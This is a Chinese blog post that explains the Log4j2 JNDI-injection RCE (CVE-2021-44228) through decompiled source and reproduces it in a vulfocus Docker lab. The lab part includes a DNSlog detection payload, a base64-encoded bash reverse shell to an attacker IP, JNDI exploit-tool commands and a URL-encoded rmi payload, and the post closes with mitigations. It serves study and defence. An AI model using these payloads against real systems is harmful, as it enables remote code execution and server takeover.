log4j2-rce-2021-12-09漏洞原理及复现

最新推荐文章于 2024-05-11 10:15:57 发布
最新推荐文章于 2024-05-11 10:15:57 发布
阅读量1k 收藏 3
点赞数
分类专栏： 代码审计 文章标签： log4j java 开发语言
原文链接：https://blog.csdn.net/t0410ch/article/details/126043294?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522166582710016782414913028%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=166582710016782414913028&biz_id=0&
版权

Apache log4j是Apache的一个开源项目，Apache log4j 2是一个就Java的日志记录工具。该工具重写了log4j框架，并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组建等，通过定义每一条日志信息的级别，能够更加细致地控制日志的生成过程。log4j2中存在JNDI注入漏洞，当程序记录用户输入的数据时，即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码

影响的Apache Log4j版本

Apache Log4j 2.x <= 2.15.0-rc1

漏洞原理

JNDI与LDAP

JNDI

JNDI全称 Java Naming and Directory Interface。JNDI是Java平台的一个标准扩展，提供了一组接口、类和关于命名空间的概念。如同其它很多Java技术一样，JDNI是provider-based的技术，暴露了一个API和一个服务供应接口（SPI）。这意味着任何基于名字的技术都能通过JNDI而提供服务，只要JNDI支持这项技术。JNDI目前所支持的技术包括LDAP、CORBA Common Object Service（COS）名字服务、RMI、NDS、DNS、Windows注册表等等。很多J2EE技术，包括EJB都依靠JNDI来组织和定位实体。
JDNI通过绑定的概念将对象和名称联系起来。在一个文件系统中，文件名被绑定给文件。在DNS中，一个IP地址绑定一个URL。在目录服务中，一个对象名被绑定给一个对象实体。
JNDI中的一组绑定作为上下文来引用。每个上下文暴露的一组操作是一致的。例如，每个上下文提供了一个查找操作，返回指定名字的相应对象。每个上下文都提供了绑定和撤除绑定名字到某个对象的操作。JNDI使用通用的方式来暴露命名空间，即使用分层上下文以及使用相同命名语法的子上下文。
可以简单的将LDAP理解为一个存储目录，里面有我们要的资源，而JNDI就是获取资源的一种途径或者说方式。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dnvn1LS3-1659011567342)(/upload/2022/07/%E6%97%A0%E6%A0%87%E9%A2%981.png)]
如上图所示在访问RMI时只传了一个键foor过去，返回一个对象；在访问LDAP这种目录服务时，传过去的比较复杂，包含多个键值对，这些键值对就是对象的属性，LDAP根据这些属性来判断返回哪个对象。
基本的操作：
发布服务：bind() 将名称绑定到对象中
用名字查找资源：lookup() 通过名字检索执行的对象

LDAP

目录服务是一个特殊的数据库，用来保存描述性的、基于属性的详细信息，支持过滤功能。
LDAP（Light Directory Access Portocol），它是基于X.500标准的轻量级目录访问协议。
目录是一个为查询、浏览和搜索而优化的数据库，它成树状结构组织数据，类似文件目录一样。
目录数据库和关系数据库不同，它有优异的读性能，但写性能差，并且没有事务处理、回滚等复杂功能，不适于存储修改频繁的数据。所以目录天生是用来查询的，就好象它的名字一样。
LDAP目录服务是由目录数据库和一套访问协议组成的系统。
参考：
简单来说：LDAP是一个目录服务，可以通过目录路径查询到对应目录下的对象（文件）等。即其也是JNDI的实现，通过名称（目录路径）查询到对象（目录下的文件）。

概述

“ Lookups provide a way to add values to the Log4j configuration at arbitrary places. They are a particular type of Plugin that implements the StrLookup interface. ”
以上内容复制于log4j2的官方文档lookup - Office Site。其清晰地说明了lookup的主要功能就是提供另外一种方式以添加某些特殊的值到日志中，以最大化松散耦合地提供可配置属性供使用者以约定的格式进行调用。

原理

org.apache.logging.log4j.core.pattern.MessagePatternConverter 的 format() 方法（表达式内容替换）：

 public void format(final LogEvent event, final StringBuilder toAppendTo) {
        Message msg = event.getMessage();
        if (msg instanceof StringBuilderFormattable) {
            boolean doRender = this.textRenderer != null;
            StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;
            int offset = workingBuilder.length();
            if (msg instanceof MultiFormatStringBuilderFormattable) {
                ((MultiFormatStringBuilderFormattable)msg).formatTo(this.formats, workingBuilder);
            } else {
                ((StringBuilderFormattable)msg).formatTo(workingBuilder);
            }
            if (this.config != null && !this.noLookups) {
                for(int i = offset; i < workingBuilder.length() - 1; ++i) {
                    if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
                        String value = workingBuilder.substring(offset, workingBuilder.length());
                        workingBuilder.setLength(offset);
                        workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));
                    }
                }
            }
            if (doRender) {
                this.textRenderer.render(workingBuilder, toAppendTo);
            }
        } else {
            if (msg != null) {
                String result;
                if (msg instanceof MultiformatMessage) {
                    result = ((MultiformatMessage)msg).getFormattedMessage(this.formats);
                } else {
                    result = msg.getFormattedMessage();
                }
                if (result != null) {
                    toAppendTo.append(this.config != null && result.contains("${") ? this.config.getStrSubstitutor().replace(event, result) : result);
                } else {
                    toAppendTo.append("null");
                }
            }
        }
    }
}

format()方法会按字符检测每条日志，一旦发现某条日志中包含$ { ，则触发替换机制，也就是将表达式内的内容替换成真实的内容，其中config.getStrSubstitutor().replace(event, value)执行下一步替换操作。
包含 的${ 中可以使用的关键词如下：

${ctx:loginId}
${map:type}
${filename}
${date:MM-dd-yyyy}
${docker:containerId}
${docker:containerName}
${docker:imageName}
${env:USER}
${event:Marker}
${mdc:UserId}
${java:runtime}
${java:vm}
${java:os}
${jndi:logging/context-name}
${hostName}
${docker:containerId}
${k8s:accountName}
${k8s:clusterName}
${k8s:containerId}
${k8s:containerName}
${k8s:host}
${k8s:labels.app}
${k8s:labels.podTemplateHash}
${k8s:masterUrl}
${k8s:namespaceId}
${k8s:namespaceName}
${k8s:podId}
${k8s:podIp}
${k8s:podName}
${k8s:imageId}
${k8s:imageName}
${log4j:configLocation}
${log4j:configParentLocation}
${spring:spring.application.name}
${main:myString}
${main:0}
${main:1}
${main:2}
${main:3}
${main:4}
${main:bar}
${name}
${marker}
${marker:name}
${spring:profiles.active[0]
${sys:logPath}
${web:rootDir}

org.apache.logging.log4j.core.lookup.StrSubstitutor（提取字符串，并通过 lookup 进行内容替换）

private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length, List<String> priorVariables) {
        StrMatcher prefixMatcher = this.getVariablePrefixMatcher();
        StrMatcher suffixMatcher = this.getVariableSuffixMatcher();
        char escape = this.getEscapeChar();
        StrMatcher valueDelimiterMatcher = this.getValueDelimiterMatcher();
        boolean substitutionInVariablesEnabled = this.isEnableSubstitutionInVariables();
        boolean top = priorVariables == null;
        boolean altered = false;
        int lengthChange = 0;
        char[] chars = this.getChars(buf);
        int bufEnd = offset + length;
        int pos = offset;
        while(true) {
            label117:
            while(pos < bufEnd) {
                int startMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd);
                if (startMatchLen == 0) {
                    ++pos;
                } else if (pos > offset && chars[pos - 1] == escape) {
                    buf.deleteCharAt(pos - 1);
                    chars = this.getChars(buf);
                    --lengthChange;
                    altered = true;
                    --bufEnd;
                } else {
                    int startPos = pos;
                    pos += startMatchLen;
                    int endMatchLen = false;
                    int nestedVarCount = 0;
                    while(true) {
                        while(true) {
                            if (pos >= bufEnd) {
                                continue label117;
                            }
                            int endMatchLen;
                            if (substitutionInVariablesEnabled && (endMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd)) != 0) {
                                ++nestedVarCount;
                                pos += endMatchLen;
                            } else {
                                endMatchLen = suffixMatcher.isMatch(chars, pos, offset, bufEnd);
                                if (endMatchLen == 0) {
                                    ++pos;
                                } else {
                                    if (nestedVarCount == 0) {
                                        String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen);
                                        if (substitutionInVariablesEnabled) {
                                            StringBuilder bufName = new StringBuilder(varNameExpr);
                                            this.substitute(event, bufName, 0, bufName.length());
                                            varNameExpr = bufName.toString();
                                        }
                                        pos += endMatchLen;
                                        String varName = varNameExpr;
                                        String varDefaultValue = null;
                                        int i;
                                        int valueDelimiterMatchLen;
                                        if (valueDelimiterMatcher != null) {
                                            char[] varNameExprChars = varNameExpr.toCharArray();
                                            int valueDelimiterMatchLen = false;
                                            label100:
                                            for(i = 0; i < varNameExprChars.length && (substitutionInVariablesEnabled || prefixMatcher.isMatch(varNameExprChars, i, i, varNameExprChars.length) == 0); ++i) {
                                                if (this.valueEscapeDelimiterMatcher != null) {
                                                    int matchLen = this.valueEscapeDelimiterMatcher.isMatch(varNameExprChars, i);
                                                    if (matchLen != 0) {
                                                        String varNamePrefix = varNameExpr.substring(0, i) + ':';
                                                        varName = varNamePrefix + varNameExpr.substring(i + matchLen - 1);
                                                        int j = i + matchLen;
                                                        while(true) {
                                                            if (j >= varNameExprChars.length) {
                                                                break label100;
                                                            }
                                                            if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, j)) != 0) {
                                                                varName = varNamePrefix + varNameExpr.substring(i + matchLen, j);
                                                                varDefaultValue = varNameExpr.substring(j + valueDelimiterMatchLen);
                                                                break label100;
                                                            }
                                                            ++j;
                                                        }
                                                    }
                                                    if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) {
                                                        varName = varNameExpr.substring(0, i);
                                                        varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen);
                                                        break;
                                                    }
                                                } else if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) {
                                                    varName = varNameExpr.substring(0, i);
                                                    varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen);
                                                    break;
                                                }
                                            }
                                        }
                                        if (priorVariables == null) {
                                            priorVariables = new ArrayList();
                                            ((List)priorVariables).add(new String(chars, offset, length + lengthChange));
                                        }
                                        this.checkCyclicSubstitution(varName, (List)priorVariables);
                                        ((List)priorVariables).add(varName);
                                        String varValue = this.resolveVariable(event, varName, buf, startPos, pos);
                                        if (varValue == null) {
                                            varValue = varDefaultValue;
                                        }
                                        if (varValue != null) {
                                            valueDelimiterMatchLen = varValue.length();
                                            buf.replace(startPos, pos, varValue);
                                            altered = true;
                                            i = this.substitute(event, buf, startPos, valueDelimiterMatchLen, (List)priorVariables);
                                            i += valueDelimiterMatchLen - (pos - startPos);
                                            pos += i;
                                            bufEnd += i;
                                            lengthChange += i;
                                            chars = this.getChars(buf);
                                        }
                                        ((List)priorVariables).remove(((List)priorVariables).size() - 1);
                                        continue label117;
                                    }
                                    --nestedVarCount;
                                    pos += endMatchLen;
                                }
                            }
                        }
                    }
                }
            }
            if (top) {
                return altered ? 1 : 0;
            }
            return lengthChange;
        }
    }

总结：
日志在打印时当遇到 ${ 后，Interpolator 类以 : 号作为分割，将表达式内容分割成两部分，前面部分作为 prefix，后面部分作为 key。然后通过 prefix 去找对应的 lookup，通过对应的 lookup 实例调用 lookup 方法，最后将 key 作为参数带入执行。

JDNI注入

JNDI 注入，借助 LDAP服务来下载执行恶意 payload，从而执行命令
流程：
第一步：向目标发送指定 payload，目标对 payload 进行解析执行，然后会通过 LDAP链接远程服务，当 LDAP 服务收到请求之后，将请求进行重定向到恶意 java class（JNDI服务器） 的地址。
第二步：目标服务器收到重定向请求之后，下载恶意 class 并执行其中的代码，从而执行系统命令。

漏洞复现

在Docker中安装log4j2靶场

这里使用的是vulfocus中的库

sudo docker pull vulfocus/log4j2-rce-2021-12-09

pull完毕后

启动Docker靶场

sudo docker run -tid -p 9999:8080 vulfocus/log4j2-rce-2021-12-09


出现这个页面表示搭建完成

通过DNSLOG回显验证漏洞

为何通过DNS回显来做到验证漏洞

DNS域名查询的步骤：

所以由此可知，由于日志在打印时当遇到 ${ 后都会执行后面的语句，而在域名查询的过程中，我们可以构造一个DNS服务器，服务器的一级二级域名甚至是三级可以固定，但是总有后几级的域名我们可以构造啊，所以在我们构造域名访问中可以构造这样的域名：${java.version}.ign0wp.dnslog.cn，其中${java.version}会被解析成java的版本，我们就可以在gn0wp.dnslog.cn服务器上看到回显的java版本信息。

构造POC的payload

点击???超链接，url中有一个payload参数， 使用GET方法通过DNSlog回显。
构造我们的payload参数：

${jndi:ldap://${java.version}.ign0wp.dnslog.cn}


查询DNSlog

点击放行后，我们将刚刚的GET数据包提交。
在DNSlog中可以查询到回显，说明存在漏洞



反弹Shell

IP地址:监听端口/被攻击端口OS
靶机192.168.73.88:9999CentOS
攻击机192.168.73.130:5432Kali

下载EXP
EXP地址：
https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

Kaili使用nc工具监听反弹的shell

首先查看攻击机的ip地址

为了不冲突，先查看一下现在正在监听的端口

那现在我开始监听5432端口。

监听中。。。。。。

构造反弹shell的payload

bash -i >& /dev/tcp/192.168.73.130/5432 0>&1
将其使用base64编码

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjczLjEzMC81NDMyIDA+JjE=

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjczLjEzMC81NDMyIDA+JjE=}|{base64,-d}|{bash,-i}

构建恶意LDAP服务

用JNDI注入利用工具构建ldap服务：

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "编码后的bash反弹shell命令" -A “监听的IP地址”

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjczLjEzMC81NDMyIDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.73.130"


生成了一串rmi
rmi://192.168.73.130:1099/hzhh0d

编写反弹shell的payload
payload=${jndi:rmi://192.168.73.130:1099/hzhh0d}

为其进行url编码

payload%3D%24%7Bjndi%3Armi%3A%2F%2F192.168.73.130%3A1099%2Fhzhh0d%7D

提交

反弹shell，可以执行我们的命令了！


漏洞修复：

漏洞出现之后，官方也一直在推出补丁，然而一直也存在补丁绕过的情况 ，打官方补丁当然是一个比较靠谱的方式，但是一开始并不能完美解决。
在进行漏洞利用时，针对高版本的 java jdk 是无法直接利用的，但是也不一定完全不可以，对于一些企业，定期更新 java 的可能影响比较小，所以 java 版本更新也是一种缓解的方式。
其他层面的修复：
1、采用 rasp 对lookup的调用进行阻断
2、限制不必要的业务访问外网
3、设置 JVM 启动参数 - Dlog4j2.formatMsgNoLookups=true
4、WAF 添加漏洞攻击代码临时拦截规则创建“log4j2.component.properties”文件，文件中增加配置“log4j2.formatMsgNoLookups=true”

学习参考文章：https://cloud.tencent.com/developer/article/1919456
https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html
https://mp.weixin.qq.com/s?__biz=MzUzNTEyMTE0Mw==&mid=2247485584&idx=1&sn=2fad11942986807ea7545f7b8b5d6af8&scene=21#wechat_redirect
https://www.cnblogs.com/wilburxu/p/9174353.html

zxl2605
关注
专栏目录
CVE-2021-44228 log4j RCE漏洞原理详细分析排查和修补
m0_61506558的博客
09-14 1474
影响范围和排查方法1、CVE-2021-44228影响版本使用了log4j的组件，并且版本在 2.x
log4j2漏洞原理分析及复现-CVE-2021-44228 （vulfocus靶场）
yang1234567898的博客
04-18 3257
搭建靶场： docker pull vulfocus/log4j2-rce-2021-12-09 //拉取靶场镜像 docker run -tid -p 38080:8080 vulfocus/log4j2-rce-2021-12-09 //运行靶场镜像 搭建成功！ 利用漏洞 已经漏洞存在的情况下，构造攻击payload执行命令反弹shell bash -i >& /dev/tcp/192.168.96.166/1234 0>&1 由于...
Apache Log4j2.x RCE命令执行漏洞攻击原理及修复措施
wangpf2011的博客
12-23 3927
截止2021.12.20，短短几天Log4j2.x已经连发3个版本，用以修复RCE命令执行漏洞，Log4j2漏洞总体来说是通过JNDI注入恶意代码来完成攻击，具体的操作方式有RMI和LDAP等。 一、攻击原理 以RMI为例，简单阐述下该漏洞的攻击原理： 1、攻击者首先发布一个RMI服务，此服务将绑定一个引用类型的RMI对象。在引用对象中指定一个远程的含有恶意代码的类。 2、攻击者再发布另一个恶意代码下载服务，此服务可以下载所有含有恶意代码的类。 3、攻击者利用Log4j2的漏洞注入RMI调用，
vulfocus复现：log4j2-rce-2021-12-09
qq_22132931的博客
12-26 859
vulfocus复现：log4j2-rce-2021-12-09
Log4j2远程代码执行漏洞复现(cve-2021-44228)
热门推荐
weixin_47179815的博客
07-12 1万+
Log4j2远程代码执行漏洞(cve-2021-44228)复现笔记内容Apache log4j是Apache的一个开源项目，Apache log4j 2是一个就Java的日志记录工具。通过重写了log4j框架，并且引入了大量丰富的特性，可以控制日志信息输送的目的地为控制台、文件、GUI组建等，被应用于业务系统开发，用于记录程序输入输出日志信息。log4j2中存在JNDI注入漏洞，当程序记录用户输入的数据时，即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码。JNDI简单介绍JNDI(Java Na
log4j2_rce 项目
02-23
《深入理解Log4j2 RCE漏洞：从概念到实战》 在信息技术领域，安全问题始终是关注的焦点。本文将深入探讨一个重要的安全漏洞——Log4j2远程代码执行（RCE）漏洞，该漏洞曾引起全球广泛关注。我们将从项目标题"Log4j2...
Log4j2 RCE 漏洞复现步骤以及根因
weixin_46073333的博客
12-12 6866
相信大家最近一定被log4j2的远程代码执行漏洞所刷屏了，各个互联网厂商，开源组织，还有相关企业都瑟瑟发抖，相关研发人员也都是加班加点紧急修复和改正。笔者也看了一些相关文章，感觉不少都...
log4j RCE漏洞原理分析及检测_log4j 漏洞监测，网络安全开发基础学习
2401_83621004的博客
04-15 769
漏洞检测时，可以使用 ${jndi:ldap://http://xxx.dnslog.cn} ，如果攻击成功，目标服务器将会从 xxx.dnslog.cn 下载jndi字节流，下载之前首先得连接dnslog.cn进行xxx.dnslog.cn的域名解析，获得真实ip地址。dnslog.cn 是安全检测常用工具之一，在其主页上点击 Get SubDomain 即可以自动生成一个 dnslog.cn 的子域名，这个子域名解析出来的ip是 127.0.0.1，也就是本机地址。因篇幅有限，仅展示部分资料。
【Log4j2远程命令执行复现CVE-2021-12-09】
qq_55213436的博客
03-21 548
Log4j2是基于log4j这个java日志处理组件进行二次开发和改进而来的。也是目前最常用的日志框架之一，在之前的博客中（）我们阐述了漏洞的原理和大致的利用方法。今天就借助dockers拉取vulfocus上的漏洞环境进行漏洞的复现和利用的介绍。
【LOG4J RCE漏洞分享】
努力学习
12-15 2679
LOG4J RCE漏洞分享 先说结论：有中标，原因在于引⼊的Lo4j2 2.10.0 ，应该绝⼤多业务线都有这个问题，毕竟⽇志组件都是⼀个。 漏洞原因：https://issues.apache.org/jira/projects/LOG4J2/issues/LOG4J2-3201?filter=allissues 漏洞复现： ⽇志打印了，也确实远程执⾏了！ 那么同理是不是能够通过JNDI:LDAP的⽅式注⼊⼀个类进来执⾏命令，于是我有⼀个⼤胆的想法！ 类加载了。。。命令执⾏了 ...
【Log4j RCE （CVE-2021-44228）】复现及原理分析
新青年1号
04-30 1357
Log4j 是 log for java 的简写，是 Apache 的开源日志记录组件。pox.xml中引入log4j依赖
Log4J2漏洞（CVE-2021-44228）原理
m0_62466350的博客
05-07 3384
Apache Log4j2是一个基于Java的日志记录工具，当前被广泛应用于业务系统开发，开发 者可以利用该工具将程序的输入输出信息进行日志记录。2021年11月24日，阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏 洞。该漏洞是由于Apache Log4j2某些功能存在递归解析功能，导致攻击者可直接构造恶 意请求，触发远程代码执行漏洞，从而获得目标服务器权限。漏洞适应版本：2.0
JAVA安全--log4j漏洞研究分析
goddemon
03-12 1万+
log4j漏洞复现 复现 这里以bugku上的靶场为例进行复现 https://ctf.bugku.com/challenges/detail/id/340.html 环境配置 ①ldap服务 服务器起一个ldap服务就好了 直接执行反弹shell 即直接配置bash反弹shell命令 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84Mi4xNTYuM
Log4j漏洞原理及修复
o0way0o的博客
01-01 2424
*JNDI（Java Naming and Directory Interface–Java）**命名和目录接口 是Java中为命名和目录服务提供接口的API，通过名字可知道，JNDI主要由两部分组成：Naming（命名）和Directory（目录），其中Naming是指将对象通过唯一标识符绑定到一个上下文Context，同时可通过唯一标识符查找获得对象，而Directory主要指将某一对象的属性绑定到Directory的上下文DirContext中，同时可通过名字获取对象的属性同时操作属性。
vulfocus/log4j2-rce-2021-12-09:latest通关
qq_44122254的博客
12-28 5226
别的大佬在漏洞出来后立马复现利用都学明白了，我这个菜鸟开始了 搜到了在vulfocus.fofa.io靶场有更新了，就在这里开始了学习 启动靶场 按照官方说的漏洞位置在/hello，漏洞变量是payload 按照官方说的在hello里面访问hello 查看漏洞是否存在，当然啦，这是靶场怎么会不存在呢，哈哈哈 证明漏洞存在的方式： dnslog地址 构造payload 执行之后看一下这边的解析记录，存在此漏洞 好了，继续靶场复现 漏洞存在后，进行反弹shell，进一步利用，这里用到了一个工具**JND
log4j2 RCE漏洞复现
weixin_53303754的博客
12-28 494
本文对vulfocus/log4j2-rce-2021-12-09进行了验证
Log4j2漏洞复现（CVE-2021-44228）
最新发布
qq_40860153的博客
05-11 612
3、解析到ldap，就会去192.168.96.1:1099的ldap服务找名为shell的资源，找到shell之后，就会将资源信息返回给应用程序的log4j组件，而log4j组件就会将资源下载下来，然后发现shell是一个.class文件，就会去执行里面的代码，从而实现注入。在log4j框架的基础上进行了改进，并引入了丰富的特性，可以控制日志信息输送的目的地为控制台、文件、GUI组建等，被应用于业务系统开发，用于记录程序输入输出日志信息。观察dns网站解析日志结果，刷新，发现解析成功，说明漏洞存在。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值